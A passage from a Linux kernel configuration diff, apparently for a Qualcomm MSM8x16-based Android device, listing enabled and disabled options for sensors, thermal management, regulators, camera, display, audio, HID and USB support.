CONFIG_POWER_AVS_MSM is not set +CONFIG_MSM_PM=y +CONFIG_MSM_IDLE_STATS=y +CONFIG_MSM_IDLE_STATS_FIRST_BUCKET=62500 +CONFIG_MSM_IDLE_STATS_BUCKET_SHIFT=2 +CONFIG_MSM_IDLE_STATS_BUCKET_COUNT=10 +CONFIG_MSM_SUSPEND_STATS_FIRST_BUCKET=1000000000 +CONFIG_HWMON=y +# CONFIG_HWMON_VID is not set +# CONFIG_HWMON_DEBUG_CHIP is not set + +# +# Native drivers +# +# CONFIG_SENSORS_AD7314 is not set +# CONFIG_SENSORS_AD7414 is not set +# CONFIG_SENSORS_AD7418 is not set +# CONFIG_SENSORS_ADCXX is not set +# CONFIG_SENSORS_ADM1021 is not set +# CONFIG_SENSORS_ADM1025 is not set +# CONFIG_SENSORS_ADM1026 is not set +# CONFIG_SENSORS_ADM1029 is not set +# CONFIG_SENSORS_ADM1031 is not set +# CONFIG_SENSORS_ADM9240 is not set +# CONFIG_SENSORS_ADT7310 is not set +# CONFIG_SENSORS_ADT7410 is not set +# CONFIG_SENSORS_ADT7411 is not set +# CONFIG_SENSORS_ADT7462 is not set +# CONFIG_SENSORS_ADT7470 is not set +# CONFIG_SENSORS_ADT7475 is not set +# CONFIG_SENSORS_ASC7621 is not set +# CONFIG_SENSORS_ATXP1 is not set +# CONFIG_SENSORS_BOOST_DYNAMIC_CONTROLLER is not set +# CONFIG_SENSORS_DS620 is not set +# CONFIG_SENSORS_DS1621 is not set +# CONFIG_SENSORS_F71805F is not set +# CONFIG_SENSORS_F71882FG is not set +# CONFIG_SENSORS_F75375S is not set +# CONFIG_SENSORS_G760A is not set +# CONFIG_SENSORS_GL518SM is not set +# CONFIG_SENSORS_GL520SM is not set +# CONFIG_SENSORS_GPIO_FAN is not set +# CONFIG_SENSORS_HIH6130 is not set +# CONFIG_SENSORS_IT87 is not set +# CONFIG_SENSORS_JC42 is not set +# CONFIG_SENSORS_LINEAGE is not set +# CONFIG_SENSORS_LM63 is not set +# CONFIG_SENSORS_LM70 is not set +# CONFIG_SENSORS_LM73 is not set +# CONFIG_SENSORS_LM75 is not set +# CONFIG_SENSORS_LM77 is not set +# CONFIG_SENSORS_LM78 is not set +# CONFIG_SENSORS_LM80 is not set +# CONFIG_SENSORS_LM83 is not set +# CONFIG_SENSORS_LM85 is not set +# CONFIG_SENSORS_LM87 is not set +# CONFIG_SENSORS_LM90 is not set +# CONFIG_SENSORS_LM92 is not set +# CONFIG_SENSORS_LM93 is not set +# CONFIG_SENSORS_LTC4151 is not set +# CONFIG_SENSORS_LTC4215 is not set +# CONFIG_SENSORS_LTC4245 is not set +# CONFIG_SENSORS_LTC4261 is not set +# CONFIG_SENSORS_LM95234 is not set +# CONFIG_SENSORS_LM95241 is not set +# CONFIG_SENSORS_LM95245 is not set +# CONFIG_SENSORS_MAX1111 is not set +# CONFIG_SENSORS_MAX16065 is not set +# CONFIG_SENSORS_MAX1619 is not set +# CONFIG_SENSORS_MAX1668 is not set +# CONFIG_SENSORS_MAX197 is not set +# CONFIG_SENSORS_MAX6639 is not set +# CONFIG_SENSORS_MAX6642 is not set +# CONFIG_SENSORS_MAX6650 is not set +# CONFIG_SENSORS_MAX6697 is not set +# CONFIG_SENSORS_MCP3021 is not set +# CONFIG_SENSORS_NCT6775 is not set +# CONFIG_SENSORS_NTC_THERMISTOR is not set +# CONFIG_SENSORS_EPM_ADC is not set +CONFIG_SENSORS_QPNP_ADC_VOLTAGE=y +CONFIG_SENSORS_QPNP_ADC_CURRENT=y +CONFIG_SENSORS_QPNP_CURRENT_MONITOR=y +# CONFIG_SENSORS_PC87360 is not set +# CONFIG_SENSORS_PC87427 is not set +# CONFIG_SENSORS_PCF8591 is not set +# CONFIG_PMBUS is not set +# CONFIG_SENSORS_SHT15 is not set +# CONFIG_SENSORS_SHT21 is not set +# CONFIG_SENSORS_SMM665 is not set +# CONFIG_SENSORS_DME1737 is not set +# CONFIG_SENSORS_EMC1403 is not set +# CONFIG_SENSORS_EMC2103 is not set +# CONFIG_SENSORS_EMC6W201 is not set +# CONFIG_SENSORS_SMSC47M1 is not set +# CONFIG_SENSORS_SMSC47M192 is not set +# CONFIG_SENSORS_SMSC47B397 is not set +# CONFIG_SENSORS_SCH56XX_COMMON is not set +# CONFIG_SENSORS_ADS1015 is not set +# CONFIG_SENSORS_ADS7828 is not set +# CONFIG_SENSORS_ADS7871 is not set +# CONFIG_SENSORS_AMC6821 is not set +# CONFIG_SENSORS_INA209 is not set +# CONFIG_SENSORS_INA2XX is not set +# CONFIG_SENSORS_THMC50 is not set +# CONFIG_SENSORS_TMP102 is not set +# CONFIG_SENSORS_TMP401 is not set +# CONFIG_SENSORS_TMP421 is not set +# CONFIG_SENSORS_VT1211 is not set +# CONFIG_SENSORS_W83781D is not set +# CONFIG_SENSORS_W83791D is not set +# CONFIG_SENSORS_W83792D is not set +# CONFIG_SENSORS_W83793 is not set +# CONFIG_SENSORS_W83795 is not set +# CONFIG_SENSORS_W83L785TS is not set +# CONFIG_SENSORS_W83L786NG is not set +# CONFIG_SENSORS_W83627HF is not set +# CONFIG_SENSORS_W83627EHF is not set +CONFIG_THERMAL=y +CONFIG_THERMAL_HWMON=y +CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y +# CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set +# CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set +# CONFIG_THERMAL_GOV_FAIR_SHARE is not set +CONFIG_THERMAL_GOV_STEP_WISE=y +# CONFIG_THERMAL_GOV_USER_SPACE is not set +# CONFIG_CPU_THERMAL is not set +# CONFIG_THERMAL_EMULATION is not set +CONFIG_THERMAL_TSENS8974=y +# CONFIG_LIMITS_MONITOR is not set +CONFIG_THERMAL_MONITOR=y +CONFIG_THERMAL_QPNP=y +CONFIG_THERMAL_QPNP_ADC_TM=y +# CONFIG_WATCHDOG is not set +CONFIG_SSB_POSSIBLE=y + +# +# Sonics Silicon Backplane +# +# CONFIG_SSB is not set +CONFIG_BCMA_POSSIBLE=y + +# +# Broadcom specific AMBA +# +# CONFIG_BCMA is not set + +# +# Multifunction device drivers +# +CONFIG_MFD_CORE=y +# CONFIG_MFD_AS3711 is not set +# CONFIG_PMIC_ADP5520 is not set +# CONFIG_MFD_AAT2870_CORE is not set +# CONFIG_MFD_CROS_EC is not set +# CONFIG_MFD_ASIC3 is not set +# CONFIG_PMIC_DA903X is not set +# CONFIG_MFD_DA9052_SPI is not set +# CONFIG_MFD_DA9052_I2C is not set +# CONFIG_MFD_DA9055 is not set +# CONFIG_MFD_MC13XXX_SPI is not set +# CONFIG_MFD_MC13XXX_I2C is not set +# CONFIG_HTC_EGPIO is not set +# CONFIG_HTC_PASIC3 is not set +# CONFIG_HTC_I2CPLD is not set +# CONFIG_MFD_88PM800 is not set +# CONFIG_MFD_88PM805 is not set +# CONFIG_MFD_88PM860X is not set +# CONFIG_MFD_MAX77686 is not set +# CONFIG_MFD_MAX77693 is not set +# CONFIG_MFD_MAX8907 is not set +# CONFIG_MFD_MAX8925 is not set +# CONFIG_MFD_MAX8997 is not set +# CONFIG_MFD_MAX8998 is not set +# CONFIG_EZX_PCAP is not set +# CONFIG_MFD_VIPERBOARD is not set +# CONFIG_MFD_RETU is not set +# CONFIG_MFD_PCF50633 is not set +# CONFIG_MFD_RC5T583 is not set +# CONFIG_MFD_SEC_CORE is not set +# CONFIG_MFD_SI476X_CORE is not set +# CONFIG_MFD_SM501 is not set +# CONFIG_MFD_SMSC is not set +# CONFIG_ABX500_CORE is not set +# CONFIG_MFD_STMPE is not set +# CONFIG_MFD_SYSCON is not set +# CONFIG_MFD_TI_AM335X_TSCADC is not set +# CONFIG_MFD_LP8788 is not set +# CONFIG_MFD_PALMAS is not set +# CONFIG_TPS6105X is not set +# CONFIG_TPS65010 is not set +# CONFIG_TPS6507X is not set +# CONFIG_MFD_TPS65090 is not set +# CONFIG_MFD_TPS65217 is not set +# CONFIG_MFD_TPS6586X is not set +# CONFIG_MFD_TPS65910 is not set +# CONFIG_MFD_TPS65912 is not set +# CONFIG_MFD_TPS65912_I2C is not set +# CONFIG_MFD_TPS65912_SPI is not set +# CONFIG_MFD_TPS80031 is not set +# CONFIG_TWL4030_CORE is not set +# CONFIG_TWL6040_CORE is not set +# CONFIG_MFD_WL1273_CORE is not set +# CONFIG_MFD_LM3533 is not set +# CONFIG_MFD_TC3589X is not set +# CONFIG_MFD_TMIO is not set +# CONFIG_MFD_T7L66XB is not set +# CONFIG_MFD_TC6387XB is not set +# CONFIG_MFD_TC6393XB is not set +# CONFIG_MFD_ARIZONA_I2C is not set +# CONFIG_MFD_ARIZONA_SPI is not set +# CONFIG_MFD_WM8400 is not set +# CONFIG_MFD_WM831X_I2C is not set +# CONFIG_MFD_WM831X_SPI is not set +# CONFIG_MFD_WM8350_I2C is not set +# CONFIG_MFD_WM8994 is not set +# CONFIG_WCD9304_CODEC is not set +# CONFIG_WCD9310_CODEC is not set +# CONFIG_WCD9320_CODEC is not set +# CONFIG_WCD9306_CODEC is not set +# CONFIG_WCD9330_CODEC is not set +CONFIG_REGULATOR=y +# CONFIG_REGULATOR_DEBUG is not set +# CONFIG_REGULATOR_DUMMY is not set +CONFIG_REGULATOR_FIXED_VOLTAGE=y +# CONFIG_REGULATOR_VIRTUAL_CONSUMER is not set +# CONFIG_REGULATOR_USERSPACE_CONSUMER is not set +CONFIG_REGULATOR_PROXY_CONSUMER=y +# CONFIG_REGULATOR_GPIO is not set +# CONFIG_REGULATOR_AD5398 is not set +CONFIG_REGULATOR_FAN53555=y +CONFIG_REGULATOR_MEM_ACC=y +# CONFIG_REGULATOR_ISL6271A is not set +# CONFIG_REGULATOR_MAX1586 is not set +# CONFIG_REGULATOR_MAX8649 is not set +# CONFIG_REGULATOR_MAX8660 is not set +# CONFIG_REGULATOR_MAX8952 is not set +# CONFIG_REGULATOR_MAX8973 is not set +CONFIG_REGULATOR_ONSEMI_NCP6335D=y +# CONFIG_REGULATOR_LP3971 is not set +# CONFIG_REGULATOR_LP3972 is not set +# CONFIG_REGULATOR_LP872X is not set +# CONFIG_REGULATOR_LP8755 is not set +# CONFIG_REGULATOR_TPS51632 is not set +# CONFIG_REGULATOR_TPS62360 is not set +# CONFIG_REGULATOR_TPS65023 is not set +# CONFIG_REGULATOR_TPS6507X is not set +# CONFIG_REGULATOR_TPS6524X is not set +CONFIG_REGULATOR_TPS65132=y +CONFIG_REGULATOR_STUB=y +CONFIG_REGULATOR_RPM_SMD=y +CONFIG_REGULATOR_QPNP=y +CONFIG_REGULATOR_SPM=y +CONFIG_REGULATOR_CPR=y +CONFIG_MEDIA_SUPPORT=y + +# +# Multimedia core support +# +CONFIG_MEDIA_CAMERA_SUPPORT=y +# CONFIG_MEDIA_ANALOG_TV_SUPPORT is not set +# CONFIG_MEDIA_DIGITAL_TV_SUPPORT is not set +CONFIG_MEDIA_RADIO_SUPPORT=y +# CONFIG_MEDIA_RC_SUPPORT is not set +CONFIG_MEDIA_CONTROLLER=y +CONFIG_VIDEO_DEV=y +CONFIG_VIDEO_V4L2_SUBDEV_API=y +CONFIG_VIDEO_V4L2=y +# CONFIG_VIDEO_ADV_DEBUG is not set +# CONFIG_VIDEO_FIXED_MINOR_RANGES is not set +CONFIG_VIDEOBUF2_CORE=y +CONFIG_VIDEOBUF2_MEMOPS=y +CONFIG_VIDEOBUF2_DMA_CONTIG=y +CONFIG_VIDEOBUF2_VMALLOC=y +CONFIG_VIDEOBUF2_DMA_SG=y +CONFIG_VIDEOBUF2_MSM_MEM=y +# CONFIG_VIDEO_V4L2_INT_DEVICE is not set +# CONFIG_TTPCI_EEPROM is not set + +# +# Media drivers +# +# CONFIG_MEDIA_USB_SUPPORT is not set +CONFIG_V4L_PLATFORM_DRIVERS=y +# CONFIG_VIDEO_TIMBERDALE is not set +# CONFIG_SOC_CAMERA is not set +# CONFIG_V4L_MEM2MEM_DRIVERS is not set +# CONFIG_V4L_TEST_DRIVERS is not set + +# +# Qualcomm MSM Camera And Video +# +# CONFIG_MSM_CAMERA is not set +CONFIG_MSMB_CAMERA=y +# CONFIG_MSMB_CAMERA_DEBUG is not set +CONFIG_MSM_CAMERA_SENSOR=y +CONFIG_MSM_CPP=y +CONFIG_MSM_CCI=y +# CONFIG_MSM_CSI20_HEADER is not set +# CONFIG_MSM_CSI22_HEADER is not set +CONFIG_MSM_CSI30_HEADER=y +# CONFIG_MSM_CSI31_HEADER is not set +CONFIG_MSM_CSIPHY=y +CONFIG_MSM_CSID=y +CONFIG_MSM_EEPROM=y +CONFIG_MSM_ISPIF=y +# CONFIG_MSM_ISPIF_V1 is not set +# CONFIG_IMX134 is not set +# CONFIG_IMX132 is not set +# CONFIG_OV9724 is not set +# CONFIG_HI256 is not set +# CONFIG_OV5648 is not set +# CONFIG_MT9M114 is not set +# CONFIG_OV5645 is not set +# CONFIG_OV7695 is not set +# CONFIG_SP1628 is not set +# CONFIG_GC0339 is not set +# CONFIG_GC0310 is not set +# CONFIG_OV8825 is not set +# CONFIG_OV8865 is not set +# CONFIG_s5k4e1 is not set +# CONFIG_OV12830 is not set +# CONFIG_MSM_V4L2_VIDEO_OVERLAY_DEVICE is not set +CONFIG_MSMB_JPEG=y +# CONFIG_MSM_FD is not set +CONFIG_MSM_VIDC_V4L2=y +# CONFIG_MSM_VIDC_VMEM is not set +# CONFIG_MSM_WFD is not set +# CONFIG_TSPP is not set +# CONFIG_CI_BRIDGE_SPI is not set +# CONFIG_MSM_VPU is not set + +# +# Supported MMC/SDIO adapters +# +CONFIG_RADIO_ADAPTERS=y +# CONFIG_RADIO_SI470X is not set +# CONFIG_USB_MR800 is not set +# CONFIG_USB_DSBR is not set +# CONFIG_RADIO_SHARK is not set +# CONFIG_RADIO_SHARK2 is not set +# CONFIG_I2C_SI4713 is not set +# CONFIG_RADIO_SI4713 is not set +# CONFIG_USB_KEENE is not set +# CONFIG_USB_MA901 is not set +# CONFIG_RADIO_TEA5764 is not set +# CONFIG_RADIO_SAA7706H is not set +# CONFIG_RADIO_TEF6862 is not set +# CONFIG_RADIO_WL1273 is not set + +# +# Texas Instruments WL128x FM driver (ST based) +# +# CONFIG_RADIO_WL128X is not set +CONFIG_RADIO_IRIS=y +CONFIG_RADIO_IRIS_TRANSPORT=y +# CONFIG_RADIO_SILABS is not set +# CONFIG_CYPRESS_FIRMWARE is not set + +# +# Media ancillary drivers (tuners, sensors, i2c, frontends) +# +CONFIG_MEDIA_SUBDRV_AUTOSELECT=y + +# +# Audio decoders, processors and mixers +# + +# +# RDS decoders +# + +# +# Video decoders +# + +# +# Video and audio decoders +# + +# +# Video encoders +# + +# +# Camera sensor devices +# + +# +# Flash devices +# + +# +# Video improvement chips +# + +# +# Miscelaneous helper chips +# + +# +# Sensors used on soc_camera driver +# +CONFIG_MEDIA_TUNER=y +CONFIG_MEDIA_TUNER_SIMPLE=y +CONFIG_MEDIA_TUNER_TDA8290=y +CONFIG_MEDIA_TUNER_TDA827X=y +CONFIG_MEDIA_TUNER_TDA18271=y +CONFIG_MEDIA_TUNER_TDA9887=y +CONFIG_MEDIA_TUNER_TEA5761=y +CONFIG_MEDIA_TUNER_TEA5767=y +CONFIG_MEDIA_TUNER_MT20XX=y +CONFIG_MEDIA_TUNER_XC2028=y +CONFIG_MEDIA_TUNER_XC5000=y +CONFIG_MEDIA_TUNER_XC4000=y +CONFIG_MEDIA_TUNER_MC44S803=y + +# +# Tools to develop new frontends +# +# CONFIG_DVB_DUMMY_FE is not set + +# +# Graphics support +# +# CONFIG_DRM is not set +CONFIG_MSM_KGSL=y +# CONFIG_MSM_KGSL_CFF_DUMP is not set +CONFIG_MSM_ADRENO_DEFAULT_GOVERNOR="msm-adreno-tz" +CONFIG_KGSL_PER_PROCESS_PAGE_TABLE=y +# CONFIG_VGASTATE is not set +# CONFIG_VIDEO_OUTPUT_CONTROL is not set +CONFIG_FB=y +# CONFIG_FIRMWARE_EDID is not set +# CONFIG_FB_DDC is not set +# CONFIG_FB_BOOT_VESA_SUPPORT is not set +CONFIG_FB_CFB_FILLRECT=y +CONFIG_FB_CFB_COPYAREA=y +CONFIG_FB_CFB_IMAGEBLIT=y +# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set +# CONFIG_FB_SYS_FILLRECT is not set +# CONFIG_FB_SYS_COPYAREA is not set +# CONFIG_FB_SYS_IMAGEBLIT is not set +# CONFIG_FB_FOREIGN_ENDIAN is not set +# CONFIG_FB_SYS_FOPS is not set +# CONFIG_FB_SVGALIB is not set +# CONFIG_FB_MACMODES is not set +# CONFIG_FB_MODE_HELPERS is not set +# CONFIG_FB_TILEBLITTING is not set + +# +# Frame buffer hardware drivers +# +# CONFIG_FB_S1D13XXX is not set +# CONFIG_FB_TMIO is not set +# CONFIG_FB_SMSCUFX is not set +# CONFIG_FB_UDL is not set +# CONFIG_FB_GOLDFISH is not set +# CONFIG_FB_VIRTUAL is not set +# CONFIG_FB_METRONOME is not set +# CONFIG_FB_BROADSHEET is not set +# CONFIG_FB_AUO_K190X is not set +# CONFIG_FB_SIMPLE is not set +# CONFIG_MSM_VIDC_CONTENT_PROTECTION is not set +CONFIG_FB_MSM=y +# CONFIG_FB_MSM_BACKLIGHT is not set +# CONFIG_FB_MSM_LCDC_HW is not set +# CONFIG_FB_MSM_TRIPLE_BUFFER is not set +# CONFIG_FB_MSM_MDP_HW is not set +CONFIG_FB_MSM_MDSS_COMMON=y +# CONFIG_FB_MSM_MDP22 is not set +# CONFIG_FB_MSM_MDP30 is not set +# CONFIG_FB_MSM_MDP31 is not set +# CONFIG_FB_MSM_MDP40 is not set +CONFIG_FB_MSM_MDSS=y +# CONFIG_FB_MSM_MDP_NONE is not set +# CONFIG_FB_MSM_MDDI is not set +# CONFIG_FB_MSM_MIPI_DSI is not set +# CONFIG_FB_MSM_EXTMDDI is not set +# CONFIG_FB_MSM_MDDI_AUTO_DETECT is not set +# CONFIG_FB_MSM_LCDC_AUTO_DETECT is not set +CONFIG_FB_MSM_LVDS_CHIMEI_WXGA_PANEL=y +# CONFIG_FB_MSM_LVDS_FRC_FHD_PANEL is not set +# CONFIG_FB_MSM_MIPI_PANEL_DETECT is not set +# CONFIG_FB_MSM_MDDI_PANEL_AUTO_DETECT is not set +# CONFIG_FB_MSM_LCDC_PANEL_AUTO_DETECT is not set +# CONFIG_FB_MSM_LCDC_MIPI_PANEL_AUTO_DETECT is not set +# CONFIG_FB_MSM_LVDS_MIPI_PANEL_DETECT is not set +# CONFIG_FB_MSM_MDDI_TOSHIBA_VGA is not set +# CONFIG_FB_MSM_MIPI_TOSHIBA_VIDEO_WVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_TOSHIBA_VIDEO_WSVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_TOSHIBA_VIDEO_WUXGA_PANEL is not set +# CONFIG_FB_MSM_MIPI_NOVATEK_VIDEO_QHD_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NOVATEK_CMD_QHD_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_ORISE_VIDEO_720P_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_ORISE_CMD_720P_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_RENESAS_VIDEO_FWVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_RENESAS_CMD_FWVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_CHIMEI_WXGA_PANEL is not set +# CONFIG_FB_MSM_MIPI_CHIMEI_WUXGA_PANEL is not set +# CONFIG_FB_MSM_MIPI_TRULY_VIDEO_WVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NT35510_VIDEO_WVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NT35510_CMD_WVGA_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NT35516_VIDEO_QHD_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_NT35516_CMD_QHD_PT_PANEL is not set +# CONFIG_FB_MSM_MIPI_SIMULATOR_VIDEO_PANEL is not set +# CONFIG_FB_MSM_PANEL_NONE is not set +# CONFIG_FB_MSM_HDMI_COMMON is not set +# CONFIG_FB_MSM_HDMI_3D is not set +# CONFIG_FB_MSM_EBI2_PANEL_DETECT is not set +# CONFIG_FB_MSM_QPIC_ILI_QVGA_PANEL is not set +# CONFIG_FB_MSM_QPIC_PANEL_DETECT is not set +CONFIG_FB_MSM_MDSS_WRITEBACK=y +# CONFIG_FB_MSM_MDSS_HDMI_PANEL is not set +# CONFIG_FB_MSM_MDSS_DSI_CTRL_STATUS is not set +# CONFIG_FB_MSM_MDSS_EDP_PANEL is not set +# CONFIG_FB_MSM_MDSS_MDP3 is not set +# CONFIG_EXYNOS_VIDEO is not set +CONFIG_BACKLIGHT_LCD_SUPPORT=y +# CONFIG_LCD_CLASS_DEVICE is not set +CONFIG_BACKLIGHT_CLASS_DEVICE=y +# CONFIG_BACKLIGHT_GENERIC is not set +# CONFIG_BACKLIGHT_PWM is not set +# CONFIG_BACKLIGHT_ADP8860 is not set +# CONFIG_BACKLIGHT_ADP8870 is not set +# CONFIG_BACKLIGHT_LM3630 is not set +# CONFIG_BACKLIGHT_LM3639 is not set +# CONFIG_BACKLIGHT_LP855X is not set +# CONFIG_ADF is not set +# CONFIG_LOGO is not set +# CONFIG_FB_SSD1307 is not set +CONFIG_SOUND=y +# CONFIG_SOUND_OSS_CORE is not set +CONFIG_SND=y +CONFIG_SND_TIMER=y +CONFIG_SND_PCM=y +CONFIG_SND_HWDEP=y +CONFIG_SND_RAWMIDI=y +CONFIG_SND_COMPRESS_OFFLOAD=y +CONFIG_SND_JACK=y +# CONFIG_SND_SEQUENCER is not set +# CONFIG_SND_MIXER_OSS is not set +# CONFIG_SND_PCM_OSS is not set +# CONFIG_SND_HRTIMER is not set +CONFIG_SND_DYNAMIC_MINORS=y +CONFIG_SND_SUPPORT_OLD_API=y +CONFIG_SND_VERBOSE_PROCFS=y +# CONFIG_SND_VERBOSE_PRINTK is not set +# CONFIG_SND_DEBUG is not set +# CONFIG_SND_RAWMIDI_SEQ is not set +# CONFIG_SND_OPL3_LIB_SEQ is not set +# CONFIG_SND_OPL4_LIB_SEQ is not set +# CONFIG_SND_SBAWE_SEQ is not set +# CONFIG_SND_EMU10K1_SEQ is not set +CONFIG_SND_DRIVERS=y +# CONFIG_SND_DUMMY is not set +# CONFIG_SND_ALOOP is not set +# CONFIG_SND_MTPAV is not set +# CONFIG_SND_SERIAL_U16550 is not set +# CONFIG_SND_MPU401 is not set +CONFIG_SND_ARM=y +CONFIG_SND_SPI=y +CONFIG_SND_USB=y +CONFIG_SND_USB_AUDIO=y +# CONFIG_SND_USB_UA101 is not set +# CONFIG_SND_USB_CAIAQ is not set +# CONFIG_SND_USB_6FIRE is not set +CONFIG_SND_SOC=y +# CONFIG_SND_ATMEL_SOC is not set +# CONFIG_SND_DESIGNWARE_I2S is not set + +# +# MSM SoC Audio support +# +CONFIG_SND_SOC_MSM_HOSTLESS_PCM=y +CONFIG_SND_SOC_MSM_QDSP6V2_INTF=y +# CONFIG_SND_SOC_QDSP6 is not set +CONFIG_SND_SOC_QDSP6V2=y +# CONFIG_AUDIO_OCMEM is not set +CONFIG_DOLBY_DAP=y +# CONFIG_DTS_EAGLE is not set +CONFIG_DOLBY_DS2=y +CONFIG_DTS_SRS_TM=y +CONFIG_QTI_PP=y +CONFIG_SND_SOC_CPE=y +CONFIG_SND_SOC_MSM8X16=y +CONFIG_SND_SOC_I2C_AND_SPI=y +# CONFIG_SND_SOC_ALL_CODECS is not set +CONFIG_SND_SOC_MSM8X16_WCD=y +CONFIG_SND_SOC_MSM_STUB=y +# CONFIG_SND_SIMPLE_CARD is not set +# CONFIG_SOUND_PRIME is not set + +# +# HID support +# +CONFIG_HID=y +# CONFIG_HID_BATTERY_STRENGTH is not set +CONFIG_HIDRAW=y +CONFIG_UHID=y +CONFIG_HID_GENERIC=y + +# +# Special HID drivers +# +CONFIG_HID_A4TECH=y +CONFIG_HID_ACRUX=y +CONFIG_HID_ACRUX_FF=y +CONFIG_HID_APPLE=y +# CONFIG_HID_APPLEIR is not set +# CONFIG_HID_AUREAL is not set +CONFIG_HID_BELKIN=y +CONFIG_HID_CHERRY=y +CONFIG_HID_CHICONY=y +CONFIG_HID_PRODIKEYS=y +CONFIG_HID_CYPRESS=y +CONFIG_HID_DRAGONRISE=y +CONFIG_DRAGONRISE_FF=y +CONFIG_HID_EMS_FF=y +CONFIG_HID_ELECOM=y +CONFIG_HID_EZKEY=y +CONFIG_HID_HOLTEK=y +# CONFIG_HOLTEK_FF is not set +CONFIG_HID_KEYTOUCH=y +CONFIG_HID_KYE=y +CONFIG_HID_UCLOGIC=y +CONFIG_HID_WALTOP=y +CONFIG_HID_GYRATION=y +# CONFIG_HID_ICADE is not set +CONFIG_HID_TWINHAN=y +CONFIG_HID_KENSINGTON=y +CONFIG_HID_LCPOWER=y +# CONFIG_HID_LENOVO_TPKBD is not set +CONFIG_HID_LOGITECH=y +CONFIG_HID_LOGITECH_DJ=y +CONFIG_LOGITECH_FF=y +CONFIG_LOGIRUMBLEPAD2_FF=y +CONFIG_LOGIG940_FF=y +CONFIG_LOGIWHEELS_FF=y +CONFIG_HID_MAGICMOUSE=y +CONFIG_HID_MICROSOFT=y +CONFIG_HID_MONTEREY=y +CONFIG_HID_MULTITOUCH=y +# CONFIG_HID_NTRIG is not set +CONFIG_HID_ORTEK=y +CONFIG_HID_PANTHERLORD=y +CONFIG_PANTHERLORD_FF=y +CONFIG_HID_PETALYNX=y +CONFIG_HID_PICOLCD=y +# CONFIG_HID_PICOLCD_FB is not set +# CONFIG_HID_PICOLCD_BACKLIGHT is not set +# CONFIG_HID_PICOLCD_LEDS is not set +CONFIG_HID_PRIMAX=y +# CONFIG_HID_PS3REMOTE is not set +CONFIG_HID_ROCCAT=y +CONFIG_HID_SAITEK=y +CONFIG_HID_SAMSUNG=y +CONFIG_HID_SONY=y +CONFIG_HID_SPEEDLINK=y +# CONFIG_HID_STEELSERIES is not set +CONFIG_HID_SUNPLUS=y +CONFIG_HID_GREENASIA=y +CONFIG_GREENASIA_FF=y +CONFIG_HID_SMARTJOYPLUS=y +CONFIG_SMARTJOYPLUS_FF=y +CONFIG_HID_TIVO=y +CONFIG_HID_TOPSEED=y +# CONFIG_HID_THINGM is not set +CONFIG_HID_THRUSTMASTER=y +# CONFIG_THRUSTMASTER_FF is not set +CONFIG_HID_WACOM=y +CONFIG_HID_WIIMOTE=y +CONFIG_HID_WIIMOTE_EXT=y +CONFIG_HID_ZEROPLUS=y +# CONFIG_ZEROPLUS_FF is not set +CONFIG_HID_ZYDACRON=y +# CONFIG_HID_SENSOR_HUB is not set + +# +# USB HID support +# +CONFIG_USB_HID=y +# CONFIG_HID_PID is not set +CONFIG_USB_HIDDEV=y + +# +# I2C HID support +# +# CONFIG_I2C_HID is not set +CONFIG_USB_SUPPORT=y +CONFIG_USB_COMMON=y +CONFIG_USB_ARCH_HAS_HCD=y +CONFIG_USB=y +# CONFIG_USB_DEBUG is not set +CONFIG_USB_ANNOUNCE_NEW_DEVICES=y + +# +# Miscellaneous USB options +# +CONFIG_USB_DEFAULT_PERSIST=y +# CONFIG_USB_DYNAMIC_MINORS is not set +# CONFIG_USB_OTG is not set +# CONFIG_USB_OTG_WHITELIST is not set +# CONFIG_USB_OTG_BLACKLIST_HUB is not set +CONFIG_USB_MON=y +# CONFIG_USB_WUSB_CBAF is not set + +# +# USB Host Controller Drivers +# +# CONFIG_USB_C67X00_HCD is not set +# CONFIG_USB_XHCI_HCD is not set +CONFIG_USB_EHCI_HCD=y +CONFIG_USB_EHCI_EHSET=y +CONFIG_USB_EHCI_ROOT_HUB_TT=y +CONFIG_USB_EHCI_TT_NEWSCHED=y +CONFIG_USB_EHCI_MSM=y +# CONFIG_USB_EHCI_MSM_HSIC is not set +CONFIG_USB_EHCI_MSM_UICC=y +# CONFIG_USB_EHCI_HCD_PLATFORM is not set +# CONFIG_USB_OXU210HP_HCD is not set +# CONFIG_USB_ISP116X_HCD is not set +# CONFIG_USB_ISP1760_HCD is not set +# CONFIG_USB_ISP1362_HCD is not set +# CONFIG_USB_OHCI_HCD is not set +# CONFIG_USB_SL811_HCD is not set +# CONFIG_USB_R8A66597_HCD is not set +CONFIG_USB_ICE40_HCD=y +# CONFIG_USB_MUSB_HDRC is not set +# CONFIG_USB_RENESAS_USBHS is not set + +# +# USB Device Class drivers +# +CONFIG_USB_ACM=y +# CONFIG_USB_PRINTER is not set +# CONFIG_USB_WDM is not set +# CONFIG_USB_TMC is not set +CONFIG_USB_CCID_BRIDGE=y + +# +# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may +# + +# +# also be needed; see USB_STORAGE Help for more info +# +CONFIG_USB_STORAGE=y +# CONFIG_USB_STORAGE_DEBUG is not set +# CONFIG_USB_STORAGE_REALTEK is not set +CONFIG_USB_STORAGE_DATAFAB=y +CONFIG_USB_STORAGE_FREECOM=y +CONFIG_USB_STORAGE_ISD200=y +CONFIG_USB_STORAGE_USBAT=y +CONFIG_USB_STORAGE_SDDR09=y +CONFIG_USB_STORAGE_SDDR55=y +CONFIG_USB_STORAGE_JUMPSHOT=y +CONFIG_USB_STORAGE_ALAUDA=y +CONFIG_USB_STORAGE_ONETOUCH=y +CONFIG_USB_STORAGE_KARMA=y +CONFIG_USB_STORAGE_CYPRESS_ATACB=y +# CONFIG_USB_STORAGE_ENE_UB6250 is not set + +# +# USB Imaging devices +# +# CONFIG_USB_MDC800 is not set +# CONFIG_USB_MICROTEK is not set +# 